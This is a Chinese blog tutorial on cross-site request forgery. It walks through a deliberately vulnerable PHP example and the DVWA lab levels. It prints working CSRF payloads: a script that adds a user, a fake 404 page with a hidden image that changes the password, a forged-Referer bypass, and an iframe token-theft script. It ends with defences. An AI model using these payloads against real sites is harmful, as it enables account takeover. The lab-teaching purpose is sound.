zoukankan      html  css  js  c++  java
  • CSRF漏洞原理浅谈

    CSRF漏洞原理浅谈

    By : Mirror王宇阳

    E-mail : mirrorwangyuyang@gmail.com

    笔者并未深挖过CSRF,内容居多是参考《Web安全深度剖析》、《白帽子讲web安全》等诸多网络技术文章

    CSRF跨站请求攻击,和XSS有相似之处;攻击者利用CSRF可以盗用用户的身份进行攻击

    CSRF攻击原理

    部分摘自《Web安全深度剖析》第十章

    当我们打开或登录某个网站后,浏览器与网站所存放的服务器将会产生一个会话,在会话结束前,用户就可以利用具有的网站权限对网站进行操作(如:发表文章、发送邮件、删除文章等)。会话借宿后,在进行权限操作,网站就会告知会话超期或重新登录。

    当登录网站后,浏览器就会和可信的站点建立一个经过认证的会话。所有通过这个经过认证的会话发送请求,都被认定为可信的行为,例如转账、汇款等操作。当这个会话认证的时间过长或者自主结束断开;必须重新建立经过认证的可信安全的会话。

    CSRF攻击是建立在会话之上。比如:登录了网上银行,正在进行转账业务,这是攻击者给你发来一个URL,这个URL是攻击者精心构造的Payload,攻击者精心构造的转账业务代码,而且与你登录的是同一家银行,当你认为这是安全的链接后点击进去,你的钱就没了!

    比如想给用户xxser转账1000元,正常的URL是:

    secbug.org/pay.jsp?user=xxser&money=1000
    

    而攻击者构造的URL则是:

    secbug.org/pay.jsp?user=hack&money=10000
    

    CSRF漏洞利用

    CSRF漏洞常常被用来制作蠕虫攻击、SEO流量等

    分析漏洞代码

    • 获取GET参数username和password,然后通过select语句查询是否存在对应的用户,如果存在通过$_SESSION设置一个session:isadmin=admin ,否则设置session:isadmin=guest
    • 判断session中的isadmin是否为admin,如果isadmin!=admin说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才可以执行用户的操作
    • 获取POST参数username和password然后插入users表中,完成添加用户的操作
    <?php
    	
    	session_start();
    	if (isset($_GET['login'])) {
    		$con=mysqli_connect("127.0.0.1","root","123456","test");
    		if (mysql_connect_errno()) {
    			echo "连接失败".mysql_connect_errno();
    		}
    		$username = addslashes($_GET['username']);
    		$password = $_GET['password'];
    		$result = mysqli_query($con , "select * from users where username='".$username."' and password='".md5($password)."'");
    		$row = mysqli_fetch_array($result);
    		if($row){
    			$_SESSION['isadmin'] = 'admin';
    			exit("登录成功");
    		} else{
    			$_SESSION['isadmin'] = 'guest';
    			exit("登录失败");
    		}
    	} else{
    		$_SESSION['isadmin'] = 'guest';
    	}
    	if($_SESSION['isadmin'] != 'admin'){
    		exit("请登录……");
    	}
    	if(isset($_POST['submit'])){
    		if (isset($_POST['username'])) {
    			$result1 = mysqli_query($con,"insert into users(username , password) value ('".$_POST['username']."','".md5($_POST['password'])."')");
    			exit($_POST['username']."添加成功");
    		}
    	}
    ?>
    

    这是后台php源码

    攻击者需要做的就是构造一个请求,请求的URL就是php文件的URL,参数是submit=1&username=1&password=1,请求payload会自动的利用源码的特性添加一个用户

    <!DOCTYPE html>
    <html>
    <head>
    	<meta charset="utf-8">
    	<title>CSRF漏洞实践</title>
    </head>
    <body>
    	<script type="text/javascript">
    		var pauses = new Array("16");
    		var methods = new Array("POST");
    		var urls = new Array("isadmin.php");
    		var params = new Array("submit=1&username=1&password=1");
    		function pausecomp(millis){
    			var date = new Date();
    			var curDate = null ; 
    			do{
    				curDate = new Date();
    			}while(curDate-date<millis);
    		}
    		function run(){
    			var count = 1 ; 
    			var i = 0 ; 
    			for( i=0 ; i < count ; i ++){
    				makeXHR(methods[i],urls[i],params[i]);
    				pausecomp(pausecomp[i]);
    
    			}
    		}
    		var http_request = false ; 
    		function makeXHR(method , url , paramters){
    			http_request = false ; 
    			if(window.XMLHttpRequest){
    				http_request = new XMLHttpRequest() ; 
    				if(http_request.overrideMinmeType){
    					http_request.overrideMinmeType('text/html');
    				}
    			} else if(window.ActiveXObject){
    				try{
    					http_request = new ActiveXObject("Msxml2.XMLHTTP");
    				} catch(e){
    					try{
    						http_request = new ActiveXObject("Microsoft.XMLHTTP");
    					} catch (e){ }
    				}
    			}
    			if(!http_request){
    				alert('Cannot create XMLHTTP instance');
    				return false;
    			}
    			if(method == 'GET'){
    				if(url.indexOf('?') == -1){
    					url = url + '?' + paramters;
    				} else{
    					url = url + '&' + paramters;
    
    				}
    				http_request.open(method,url,true);
    				http_request.send("");
    
    			} else if(method == 'POST'){
    				http_request.open(method,url,true);
    				http_request.setRequestHeader("Content-type","application/x-www.form-urlencoded");
    				http_request.setRequestHeader("Content-length",paramters.length);
    				http_request.setRequestHeader("Connection","close");
    				http_request.send(paramters);
    			}
    		}
    	</script>
    </body>
    </html>
    

    DVWA平台CSRF

    笔者找不到比较好的源码,于是找到了DVWA~~

    Low

    • 前端源码

      <h3>Change your admin password:</h3>
      <br>
      <form action="#" method="GET">
      	New password:<br>
      	<input autocomplete="off" name="password_new" type="password"><br>
      	Confirm new password:<br>
      	<input autocomplete="off" name="password_conf" type="password"><br>
      	<br>
      	<input value="Change" name="Change" type="submit">
      </form>
      

      前端的源码非常的简单,是一个修改密码的CSRF,表单采用GET方式Change提交

    • 后端源码

      <?php
      
      if( isset( $_GET[ 'Change' ] ) ) {
          // Get input
          $pass_new  = $_GET[ 'password_new' ];
          $pass_conf = $_GET[ 'password_conf' ];
      
          // Do the passwords match?
          if( $pass_new == $pass_conf ) {
              // They do!
              $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
              $pass_new = md5( $pass_new );
      
              // Update the database
              $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
              $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
      
              // Feedback for the user
              echo "<pre>Password Changed.</pre>";
          }
          else {
              // Issue with passwords matching
              echo "<pre>Passwords did not match.</pre>";
          }
      
          ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
      }
      
      ?> 
      

      可以看见后端接收数据后会验证两次密码是否重复,然后修改密码~~~

    • 构造Payload

      http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
      

      我们将Payload发送给受害者,受害者处于会话保持(登录状态)中,受害者一旦点击这个URL链接,就意味着受害者执行了同样的操作;这个过程就是CSRF

      笔者处于的DVWA使用的登录密码,而我的密码就被改为“123456”

    • 重点

      这里的攻击成立是利用受害者的Cookie向服务器发送伪造请求(Payload),如果用户使用的是一个与xxser.com保持会话登录的浏览器点击Payload-URL,受害者的密码就会发生更改。

      哦!对了!这么裸露的攻击Payload在2019年安全意识高端的现代,是不会有人点击的!这个时候我们就有好玩的一个工具叫:“短链接”,百度新浪的短网址服务都可以!

      为了减少图片内容,我们当密码修改后的页面会提示“Password Changed.”

    • 高明的做法(从一位前辈copy过来的,忘记链接了!)

      都知道会出现提示,要想悄悄的修改!可以建立一个攻击网页,诱骗受害者访问

      <!DOCTYPE html>
      <html>
      <head>
      	<meta charset="utf-8">
      	<title>Payload</title>
      </head>
      <body>
      	<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display: none">
      	<h1>404</h1>
      	<h2>file not found.</h2>
      </body>
      </html>
      

      页面的作用是加载一个伪404的页面;实际上一旦访问这个页面,就会加载图片,所谓加载图片就是加载src属性,而src属性则为Payload-URL,实际的行为就是加载该html页面的同时图片会加载,也就执行了Payload 你说好不好玩!加载一个404伪页面,就把自己的密码给该了,而且自己还不知道!

    Medium

    • 后端源码( 添加了http_referer头的校验 )

      <?php
      
      if( isset( $_GET[ 'Change' ] ) ) {
          // HTTP_REFERER :查询当前页的前一页的地址信息
          // SERVER_NAME  :获取域名
          if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
              // stripos() :查字符第一次出现的位置,
              $pass_new  = $_GET[ 'password_new' ];
              $pass_conf = $_GET[ 'password_conf' ];
      
              // Do the passwords match?
              if( $pass_new == $pass_conf ) {
                  // They do!
                  $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
                  $pass_new = md5( $pass_new );
      
                  // Update the database
                  $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
                  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
      
                  // Feedback for the user
                  echo "<pre>Password Changed.</pre>";
              }
              else {
                  // Issue with passwords matching
                  echo "<pre>Passwords did not match.</pre>";
              }
          }
          else {
              // Didn't come from a trusted source
              echo "<pre>That request didn't look correct.</pre>";
          }
      
          ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
      }
      
      ?> 
      

      检查HTTP_REFERER(http数据包的referer参数值)即上一级URL地址信息是否包含当前HTTP数据包中的Host参数值;包含则表示当前页面是从DVWA即上一级URL合法的行为。

      合法的http数据包:

      GET /DVWA-master/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change HTTP/1.1
      Host: 127.0.0.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      DNT: 1
      Referer: http://127.0.0.1/DVWA-master/vulnerabilities/csrf/
      Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
      X-Forwarded-For: 8.8.8.8
      Connection: keep-alive
      Upgrade-Insecure-Requests: 1
      

      留意第2行、第8行

    • 分析绕过

      但是stripos()函数写的头验证是可以绕过的~ stripos()函数是多次匹配; 只要包含了目标主机地址就可以绕过stripos()函数写的验证语句

      如果我们依旧按照建立一个伪造的攻击页面,stripos()头验证就会验证,然而页面并不是来自DVWA;于是深挖stripos()函数的漏洞,发现函数会多次匹配,于是思路就是建立一个假的文件名,通过一个伪造的文件名,绕过stripos()的验证

    • Payload

      GET /DVWA-master/vulnerabilities/csrf/?password_new=mirror11&password_conf=mirror11&Change=Change HTTP/1.1
      Host: 127.0.0.1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
      Accept: */*
      Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
      Accept-Encoding: gzip, deflate
      DNT: 1
      Referer: http://127.0.0.1/127.0.0.1.html
      Cookie: security=medium; PHPSESSID=nfafklof4unqinb2b0jvvpl943
      X-Forwarded-For: 8.8.8.8
      Connection: keep-alive
      

      这里注意!我们将Payload命名为“127.0.0.1.html”,

    High

    • 后端源码

      <?php
      
      if( isset( $_GET[ 'Change' ] ) ) {
          // 加入 Anti-CSRF token机制
          checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
      
          // Get input
          $pass_new  = $_GET[ 'password_new' ];
          $pass_conf = $_GET[ 'password_conf' ];
      
          // Do the passwords match?
          if( $pass_new == $pass_conf ) {
              // They do!
              $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
              $pass_new = md5( $pass_new );
      
              // Update the database
              $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
              $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
      
              // Feedback for the user
              echo "<pre>Password Changed.</pre>";
          }
          else {
              // Issue with passwords matching
              echo "<pre>Passwords did not match.</pre>";
          }
      
          ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
      }
      
      // Generate Anti-CSRF token
      generateSessionToken();
      
      ?> 
      

      加入 Anti-CSRF Token机制,用户访问改密页面时,服务器返回token,只有用户提交token参数才可以进行改密行为!

    • 分析绕过

      我们构造Payload页面的时候,就需要考虑到执行改密行为必须向服务器发送token,而token只有在改密页面才可以获得;

      根据前辈的思路:利用受害者的cookie去改密页面获取token

      <script type="text/javascript">
       
          function attack()
       
        {
       
         document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
       
        document.getElementById("transfer").submit(); 
       
        }
       
      </script>
       
      <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
       
      </iframe>
       
      <body οnlοad="attack()">
       
        <form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">
       
         <input type="hidden" name="password_new" value="password">
       
          <input type="hidden" name="password_conf" value="password">
       
         <input type="hidden" name="user_token" value="">
       
        <input type="hidden" name="Change" value="Change">
       
         </form>
       
      </body>
      

      攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

      然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/,位于服务器169.254.36.73上,而我们的攻击页面位于黑客服务器上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

      由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器169.254.36.73中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)

      这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token
      原文链接:https://blog.csdn.net/liweibin812/article/details/86468880

      img

    笔者通过DVWA平台的CSRF实例,简单的总结了CSRF的特性和应对措施,也由于笔者没有就这方面进行研究,没有办法进一步深度的解剖原理

    CSRF应对措施

    • 从DVWA的测试中总结:

      在Impossible级别的源码中,利用了PDO技术防御SQL注入,防护CSRF方面则要求用户原始密码;攻击者在不知道原始密码的情况下是无法进行CSRF的哦!笔者从网络中搜集了几篇文章,笔者对这些文章就不做剖解了直接copy地址

      PDO防SQL注入原理分析:https://www.cnblogs.com/leezhxing/p/5282437.html

    CSRF防御手段

    • 使用POST,限制GET

      GET方式最容易受到CSRF攻击,只要简单的构造payload就可能导致CSRF;使用POST可以大程度的减低CSRF曝光率

    • 浏览器Cookie策略

      老浏览器会拦截第三方本地Cookie的发送,而新浏览器则不会拦截发送;

    • 添加验证码

      简单粗暴还有效;可以大程度的增加人机交互的过程,避免用户被悄悄的偷袭

    • Referer Check

      检查请求是否来自于合法的

    • Anti CSRF Token

      Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。

    • 总结:

      CSRF攻击是攻击者利用用户的身份操作用户帐户的一种攻击方式,通常使用Anti CSRF Token来防御CSRF攻击,同时要注意Token的保密性和随机性。

  • 相关阅读:
    C++学习9 this指针详解
    福建省第八届 Triangles
    UVA 11584 Partitioning by Palindromes
    POJ 2752 Seek the Name, Seek the Fame
    UVA 11437 Triangle Fun
    UVA 11488 Hyper Prefix Sets (字典树)
    HDU 2988 Dark roads(kruskal模板题)
    HDU 1385 Minimum Transport Cost
    HDU 2112 HDU Today
    HDU 1548 A strange lift(最短路&&bfs)
  • 原文地址:https://www.cnblogs.com/wangyuyang1016/p/11874945.html
Copyright © 2011-2022 走看看